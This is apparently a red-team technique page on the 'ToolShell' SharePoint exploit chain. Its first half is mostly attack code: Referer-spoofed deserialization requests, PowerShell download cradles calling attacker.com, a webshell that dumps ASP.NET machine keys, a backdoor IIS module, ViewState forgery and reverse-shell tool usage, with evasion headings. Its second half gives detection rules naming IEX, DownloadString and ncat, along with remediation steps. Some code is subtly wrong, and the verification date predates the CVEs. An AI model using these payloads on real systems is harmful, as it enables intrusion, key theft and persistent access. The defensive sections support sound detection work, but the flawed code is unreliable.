| Attribute | Details |
|---|---|
| Technique ID | PERSIST-REMOTE-001 |
| MITRE ATT&CK v18.1 | T1133 – External Remote Services |
| Tactic | Persistence / Initial Access |
| Platforms | M365 (SharePoint Online); On-Premises (SharePoint Server 2016 - 2025) |
| Severity | CRITICAL |
| CVE | CVE-2025-53770, CVE-2025-49704, CVE-2025-49706, CVE-2025-53771 |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | SharePoint Server 2016, 2019, Subscription Edition; SharePoint Online (limited scope) |
| Patched In | July 2025 (CVE-2025-49704/49706); September 2025 (CVE-2025-53770/53771); patches incomplete – persistence via MachineKey bypass remains |
| Author | SERVTEP – Artur Pchelnikau |
Concept: SharePoint exploitation leverages critical vulnerabilities in on-premises SharePoint Server to achieve remote code execution (RCE), credential theft, and long-term persistence. The attack chain (dubbed “ToolShell”) combines authentication bypass (CVE-2025-49706 / CVE-2025-53770) with code injection (CVE-2025-49704) to allow unauthenticated attackers to deploy malicious ASPX webshells. These webshells extract cryptographic machine keys (ValidationKey, DecryptionKey), enabling attackers to forge ASP.NET __VIEWSTATE payloads for indefinite RCE and persistence, even after patches are applied. The technique is particularly dangerous because SharePoint’s deep integration with Office, Teams, OneDrive, and Outlook means a single compromised SharePoint instance can lead to full organizational compromise.
Attack Surface: Internet-facing on-premises SharePoint Server instances exposing the /_layouts/15/ToolPane.aspx endpoint; SharePoint Site Owner/Contributor permissions (post-authentication); ASP.NET deserialization engine; IIS worker processes.
Business Impact: Complete Infrastructure Takeover. SharePoint exploitation enables attackers to execute arbitrary code as the IIS application pool identity (typically “Network Service” or custom service account). From here, attackers can deploy web shells, steal cryptographic keys, harvest Active Directory credentials, establish IIS module persistence, pivot to domain controllers, and exfiltrate entire document libraries. A compromised SharePoint farm directly compromises Teams, OneDrive, and Office document security. Organizations have reported full ransomware deployment, multi-month undetected access, and data exfiltration.
Technical Context: Exploitation takes 5-20 minutes from initial unauthenticated access to RCE and web shell deployment. The attack generates moderate audit logging (ToolPane endpoint access, ASPX upload events) but is detectable only with specific log analysis. Persistence via machine key theft bypasses all subsequent patching; complete remediation requires key rotation, not patch application alone.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 18.1 | Ensure that all SharePoint servers are isolated from the internet unless intentionally exposed |
| CISA SCuBA | SharePoint 3.1 | Disable remote SharePoint connections if not required |
| NIST 800-53 | SA-3 | System Development Life Cycle (secure coding in SharePoint). |
| NIST 800-53 | SI-2 | Flaw Remediation (timely patching of critical vulnerabilities) |
| GDPR | Art. 32 | Security of Processing (protection of systems processing personal data) |
| NIS2 | Art. 21 | Incident Detection and Response; vulnerability management |
| ISO 27001 | A.12.6.1 | Management of technical vulnerabilities; timely patching |
| ISO 27005 | Risk Assessment | Compromise of collaboration platform (documents, communications) |
Supported Versions:
PowerShell: 3.0+ (for post-exploitation cmdlets)
Other Requirements:
Tools (Optional):
Supported Versions: SharePoint Server 2016 - Subscription Edition (unpatched; incomplete patches)
Objective: Verify target is running vulnerable SharePoint version and expose ToolPane endpoint.
Command:
# Send HTTP GET request to ToolPane endpoint
curl -v http://sharepoint.target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
# Alternative: Test with User-Agent mimicking legitimate traffic
curl -A "python-requests/2.32.3" http://sharepoint.target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
Expected Output (Vulnerable):
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
Content-Type: text/html; charset=utf-8
...
<!-- Page content with ToolPane UI elements -->
Expected Output (Patched with AMSI):
HTTP/1.1 403 Forbidden
Content-Type: text/html
...
<!-- Access Denied or blocked by AMSI -->
What This Means:
OpSec & Evasion:
Troubleshooting:
/sites/sitename/_layouts/15/ToolPane.aspxObjective: Craft deserialized .NET payload for RCE execution.
Command (PowerShell – Attacker Machine):
# This step is typically automated via ToolShell PoC
# Manual reproduction requires deep understanding of ASP.NET deserialization
# Pseudo-code for manual payload generation:
$command = "powershell.exe -c IEX((New-Object System.Net.WebClient).DownloadString('http://attacker.com/shell.ps1'))"
$payload = [System.Web.UI.ObjectStateFormatter]::Serialize($command)
$base64Payload = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($payload))
Write-Host "Payload: $base64Payload"
What This Means:
OpSec & Evasion:
Objective: Send crafted payload to vulnerable ToolPane.aspx endpoint with spoofed authentication header.
Command:
# Craft POST request with spoofed Referer header (CVE-2025-49706 bypass)
curl -X POST http://sharepoint.target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx \
-H "Referer: http://sharepoint.target.com/_layouts/SignOut.aspx" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "__VIEWSTATE=$BASE64_PAYLOAD" \
-v
Expected Output (Successful Exploitation):
HTTP/1.1 200 OK
...
<!-- Output of executed PowerShell command (if command returns data) -->
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Upload persistent web shell to extract cryptographic keys.
Command (Via Successful RCE from Step 3):
# Execute within successful POST request payload
# Create spinstall0.aspx web shell in SharePoint Layouts directory
$webshell = @'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Web.Configuration" %>
<%
var config = WebConfigurationManager.OpenWebConfiguration("~/");
var machineKey = (MachineKeySection)config.GetSection("system.web/machineKey");
Response.Write("ValidationKey|" + machineKey.ValidationKey + "|DecryptionKey|" + machineKey.DecryptionKey);
%>
'@
$path = "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
Set-Content -Path $path -Value $webshell -Force
Expected Output (When Accessing Web Shell):
ValidationKey|0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF|DecryptionKey|FEDCBA9876543210FEDCBA9876543210FEDCBA9876543210FEDCBA9876543210
What This Means:
OpSec & Evasion:
C:\inetpub\wwwroot\, _vti_bin\ directoryObjective: Establish long-term persistence independent of webshell or patch status.
Command (Via Web Shell or RCE):
# Create malicious .NET assembly (loader module)
$assemblyCode = @'
using System;
using System.Web;
using System.Diagnostics;
public class MaliciousModule : IHttpModule {
public void Init(HttpApplication app) {
app.BeginRequest += (sender, e) => {
// Execute reverse shell or beacon back to C2
System.Diagnostics.Process.Start("cmd.exe", "/c powershell.exe -c IEX((New-Object System.Net.WebClient).DownloadString('http://attacker.com/beacon.ps1'))");
};
}
public void Dispose() {}
}
'@
# Compile and install into GAC (Global Assembly Cache)
# This requires IIS App Pool identity
csc.exe /target:library /out:MaliciousModule.dll $assemblyCode
# Add module to IIS configuration
$iisPath = "IIS:\AppPools\SharePoint"
$module = New-WebFarmModule -Name "MaliciousModule" -Type "MaliciousModule, MaliciousModule" -Path $iisPath
What This Means:
OpSec & Evasion:
Supported Versions: SharePoint Server 2016 - Subscription Edition (post-exploitation, after keys stolen)
Objective: Obtain ValidationKey and DecryptionKey for ViewState forgery.
Command (From Attacker Machine):
# Access deployed web shell to extract keys
curl -s http://sharepoint.target.com/_layouts/15/spinstall0.aspx
# Expected output:
# ValidationKey|0123456789ABCDEF...|DecryptionKey|FEDCBA9876543210...
# Parse keys from response
VKEY=$(curl -s http://sharepoint.target.com/_layouts/15/spinstall0.aspx | grep -oP 'ValidationKey\|\K[^|]+')
DKEY=$(curl -s http://sharepoint.target.com/_layouts/15/spinstall0.aspx | grep -oP 'DecryptionKey\|\K[^|]+')
echo "Validation Key: $VKEY"
echo "Decryption Key: $DKEY"
Expected Output:
Validation Key: 0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF
Decryption Key: FEDCBA9876543210FEDCBA9876543210FEDCBA9876543210FEDCBA9876543210
What This Means:
OpSec & Evasion:
Objective: Create __VIEWSTATE object containing RCE payload, signed with stolen keys.
Command (PowerShell – Attacker Machine):
# ToolShell PoC automates this step; manual reproduction:
using namespace System
using namespace System.Web.UI
using namespace System.Security.Cryptography
$validationKey = "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF"
$decryptionKey = "FEDCBA9876543210FEDCBA9876543210FEDCBA9876543210FEDCBA9876543210"
# Create malicious object (e.g., ObjectDataProvider for RCE)
$cmd = "powershell.exe -c IEX((New-Object System.Net.WebClient).DownloadString('http://attacker.com/shell.ps1'))"
$obj = New-Object System.Web.UI.ObjectStateFormatter
$serialized = $obj.Serialize($cmd)
# Encrypt and sign with stolen keys
$hmac = New-Object System.Security.Cryptography.HMACSHA1
$hmac.Key = [System.Convert]::FromHexString($validationKey)
$signature = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($serialized))
# Combine serialized object + signature
$viewstate = [System.Convert]::ToBase64String($serialized) + "||" + [System.Convert]::ToBase64String($signature)
Write-Host "Forged ViewState: $viewstate"
What This Means:
OpSec & Evasion:
Objective: Send forged __VIEWSTATE to SharePoint endpoint for unauthenticated RCE.
Command:
# Send forged ViewState via POST request (no authentication required)
curl -X POST http://sharepoint.target.com/_layouts/15/default.aspx \
-H "Referer: http://sharepoint.target.com/_layouts/SignOut.aspx" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "__VIEWSTATE=$FORGED_VIEWSTATE" \
-v
Expected Output:
HTTP/1.1 200 OK
...
<!-- Command executes silently in background; may have no visible output -->
What This Means:
OpSec & Evasion:
Manual Test Steps:
python3 exploit.py --target <lab-sharepoint-url> --command "whoami"python3 exploit.py --target <lab-sharepoint-url> --upload spinstall0.aspxcurl http://lab-sharepoint/_layouts/15/spinstall0.aspxVersion: Latest (automated exploitation) Minimum Version: 1.0 Supported Platforms: Linux, Windows (Python 3.7+)
Installation:
git clone https://github.com/xaitax/SharePoint-Exploitation.git
cd SharePoint-Exploitation
pip install -r requirements.txt
Usage:
# Reconnaissance: Check if target is vulnerable
python3 exploit.py --target http://sharepoint.target.com --check
# Execute command on target
python3 exploit.py --target http://sharepoint.target.com --command "whoami"
# Upload webshell
python3 exploit.py --target http://sharepoint.target.com --upload spinstall0.aspx
# Reverse shell
python3 exploit.py --target http://sharepoint.target.com --reverse-shell <attacker-ip> <attacker-port>
Rule Configuration:
SPL Query:
index=iis method=POST uri_path="*/_layouts/15/ToolPane.aspx*"
| stats count by src_ip, method, uri_path, status, user_agent
| where count >= 1 AND status != "404"
What This Detects:
Manual Configuration Steps:
count >= 1Rule Configuration:
SPL Query:
index=windows EventCode=11 TargetFilename="*Web Server Extensions*LAYOUTS*.aspx"
| stats count by TargetFilename, Image, User
| where count >= 1
What This Detects:
Rule Configuration:
KQL Query:
W3CIISLog
| where UriPath contains "/_layouts/15/ToolPane.aspx" and Method == "POST"
| where HttpStatus != 404
| extend SourceIP = ClientIP
| project TimeGenerated, SourceIP, UriPath, HttpStatus, UserAgent
| summarize PostCount=count() by SourceIP
| where PostCount >= 1
What This Detects:
Event ID: 4688 (A new process has been created)
Manual Configuration Steps:
gpupdate /forceEvent ID: 4660 (An object was deleted)
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server with IIS
Sysmon Config Snippet:
<!-- Detect suspicious process creation from IIS App Pool (w3wp.exe) -->
<RuleGroup name="SharePoint_Exploitation_Detection" groupRelation="or">
<ProcessCreate onmatch="include">
<ParentImage condition="contains">w3wp.exe</ParentImage>
<Image condition="is">C:\Windows\System32\cmd.exe</Image>
<CommandLine condition="contains any">
powershell
IEX
DownloadString
Invoke-WebRequest
meterpreter
ncat
</CommandLine>
</ProcessCreate>
<!-- Detect .aspx file creation in SharePoint Layouts -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">Web Server Extensions</TargetFilename>
<TargetFilename condition="contains">LAYOUTS</TargetFilename>
<TargetFilename condition="endswith">.aspx</TargetFilename>
</FileCreate>
<!-- Detect IIS module configuration changes -->
<RegistryEvent onmatch="include">
<TargetObject condition="contains">IIS</TargetObject>
<TargetObject condition="contains">Modules</TargetObject>
<EventType condition="is">SetValue</EventType>
</RegistryEvent>
</RuleGroup>
Immediately Disconnect Internet-Facing SharePoint Servers (Temporary Mitigation):
Applies To Versions: SharePoint Server 2016, 2019, Subscription Edition
Manual Steps:
Duration: Until comprehensive patch + cryptographic rotation completed
Apply All Available Security Patches (July 2025+):
Manual Steps (PowerShell):
# Install cumulative updates for SharePoint
# Download from Microsoft Update Catalog or WSUS
# For SharePoint Server 2019:
Install-SPHotfix -LiteralPath "C:\Patches\sharepoint2019-kb5123456-fullfile-x64-glb.exe"
# For SharePoint Server 2016:
Install-SPHotfix -LiteralPath "C:\Patches\sharepoint2016-kb5123456-fullfile-x64-glb.exe"
# Verify installation
Get-SPHotfix | Where-Object {$_.HotfixId -like "KB512*"}
Note: Patches address CVE-2025-49704/49706; CVE-2025-53770 requires September 2025+ patches. Even with patches, machine keys must be rotated.
Rotate Cryptographic Machine Keys (MANDATORY):
Manual Steps (PowerShell):
# Generate new machine keys
# Method 1: Via IIS Manager
# 1. Open IIS Manager
# 2. Select server → Machine Key (in Features View)
# 3. Click "Generate Keys" in Actions pane
# 4. Restart IIS: iisreset
# Method 2: Via PowerShell
# 1. Export current web.config
$webConfig = "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\web.config"
# 2. Generate new keys using aspnet_regiis.exe
& "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe" -pef "system.web/machineKey" (Split-Path $webConfig)
# 3. Restart SharePoint services
Restart-Service W3SVC
Restart-Service SPAdminV4
# 4. Verify new keys applied
[xml]$config = Get-Content $webConfig
$config.SelectSingleNode("//machineKey")
What This Does:
Enable AMSI (Antimalware Scan Interface) Integration:
Applies To Versions: SharePoint Server 2016 / 2019 (requires September 2023+ update); Subscription Edition (default enabled)
Manual Steps (PowerShell):
# Check AMSI status
Get-SPFeature | Where-Object {$_.DisplayName -like "*AMSI*"}
# Enable AMSI Full Mode (strongest protection)
# Requires restart and configuration change
$regPath = "HKLM:\SOFTWARE\Microsoft\SharePoint\Setup"
Set-ItemProperty -Path $regPath -Name "EnableAmsi" -Value 2 -Type DWord
# Restart SharePoint
iisreset /force
# Verify AMSI enabled
Get-ItemProperty -Path $regPath -Name "EnableAmsi"
Effect: AMSI scans all .NET code execution; blocks malicious payloads before execution.
Restrict Anonymous Access to SharePoint (Require Authentication):
Manual Steps (SharePoint Central Admin):
Effect: Unauthenticated access blocked; requires valid user account.
Block ToolPane Endpoint via WAF/Firewall Rules:
Manual Steps (Firewall/WAF Configuration):
/_layouts/15/ToolPane.aspxConduct Forensic Investigation for Indicator of Compromise (IOC):
Command (PowerShell):
# Search for spinstall0.aspx webshells
Get-ChildItem -Path "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions" -Recurse -Filter "spinstall*.aspx"
# Search for suspicious .aspx files in Layouts
Get-ChildItem -Path "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS" -Filter "*.aspx" | Where-Object {$_.CreationTime -gt (Get-Date).AddDays(-7)}
# Enumerate IIS modules for suspicious entries
Get-WebModule | Where-Object {$_.ModuleName -like "*Malicious*" -or $_.ModuleName -like "*Custom*"}
# Check for suspicious scheduled tasks
Get-ScheduledTask | Where-Object {$_.TaskPath -like "*SharePoint*" -or $_.TaskName -like "*spinstall*"}
# Check patch level
Get-SPHotfix | Select-Object HotfixId, InstallDate | Sort-Object -Property InstallDate -Descending | Select-Object -First 5
# Expected Output (If Secure): Recent KB articles from July 2025 or later
# Check machine keys rotated (compare dates)
$webConfig = "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\web.config"
[xml]$config = Get-Content $webConfig
$machineKey = $config.SelectSingleNode("//machineKey")
$machineKey
# Expected Output (If Secure): ValidationKey and DecryptionKey with recent modification date
# Verify AMSI enabled
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\SharePoint\Setup" -Name "EnableAmsi"
# Expected Output: EnableAmsi = 2 (Full Mode enabled)
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\*\TEMPLATE\LAYOUTS\spinstall*.aspx%systemroot%\System32\inetsrv\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ManagedModules – Custom modules listedHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharePoint\Setup\EnableAmsi = 0 (disabled = suspicious)C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\web.config (contains machine keys)C:\inetpub\logs\LogFiles\W3SVC1\ (HTTP request logs)C:\Windows\System32\winevt\Logs\Security.evtx, Application.evtxIsolate Compromised SharePoint Server (IMMEDIATE):
Command (Disconnect Network):
# Disable network interfaces
Get-NetAdapter | Disable-NetAdapter -Confirm:$false
Manual:
Preserve Evidence (Before Any Remediation):
Command:
# Export web.config (contains keys)
Copy-Item "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\web.config" "C:\Evidence\web.config"
# Export IIS logs
Copy-Item "C:\inetpub\logs\LogFiles\*" "C:\Evidence\IIS_Logs" -Recurse
# Export Security event log
wevtutil epl Security "C:\Evidence\Security.evtx"
# List IIS modules
Get-WebModule | Out-File "C:\Evidence\IIS_Modules.txt"
Identify Lateral Movement:
Command:
# Search for unauthorized IIS module usage
Get-ChildItem -Path "C:\Windows\System32\inetsrv\" -Filter "*.dll" | Where-Object {$_.CreationTime -gt (Get-Date).AddDays(-7)}
# Check for Mimikatz activity (common post-exploitation)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=10; StartTime=(Get-Date).AddDays(-7)} | Where-Object {$_.Message -like "*lsass*"}
Eradicate Compromise:
Command:
# Delete webshells
Remove-Item "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\*\TEMPLATE\LAYOUTS\spinstall*.aspx" -Force
# Remove suspicious IIS modules
Get-WebModule | Where-Object {$_.ModuleName -like "*Malicious*"} | Remove-WebModule
# Rotate machine keys (see Priority 1 mitigations above)
# Reset IIS
iisreset /force
# Restart SharePoint services
Restart-Service W3SVC
Restart-Service SPAdminV4
# Apply patches (if not already done)
Verify Eradication:
Command:
# Verify no spinstall webshells remain
Get-ChildItem -Path "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions" -Recurse -Filter "spinstall*.aspx"
# Expected: No results
# Verify machine keys rotated (newer than compromise date)
$webConfig = "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\web.config"
(Get-Item $webConfig).LastWriteTime
# Expected: Date after patch application
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [T1580] Cloud Service Enumeration | Attacker identifies internet-exposed SharePoint server via Shodan, Censys |
| 2 | Initial Access | [PERSIST-REMOTE-001] SharePoint Exploitation | Attacker exploits CVE-2025-53770 for unauthenticated RCE |
| 3 | Credential Access | [T1110] Credential Access via Machine Keys | Attacker steals machine keys for persistent ViewState forgery |
| 4 | Persistence | [T1547] Privilege Escalation via IIS Module | Attacker deploys custom IIS module for continued access |
| 5 | Credential Access | [T1056] Credential Dumping (Mimikatz) | Attacker harvests AD credentials for lateral movement |
| 6 | Lateral Movement | [T1570] Lateral Movement to Domain Controller | Attacker compromises DC using stolen credentials |
| 7 | Impact | [T1565] Data Destruction / Exfiltration | Attacker deploys ransomware or exfiltrates sensitive documents |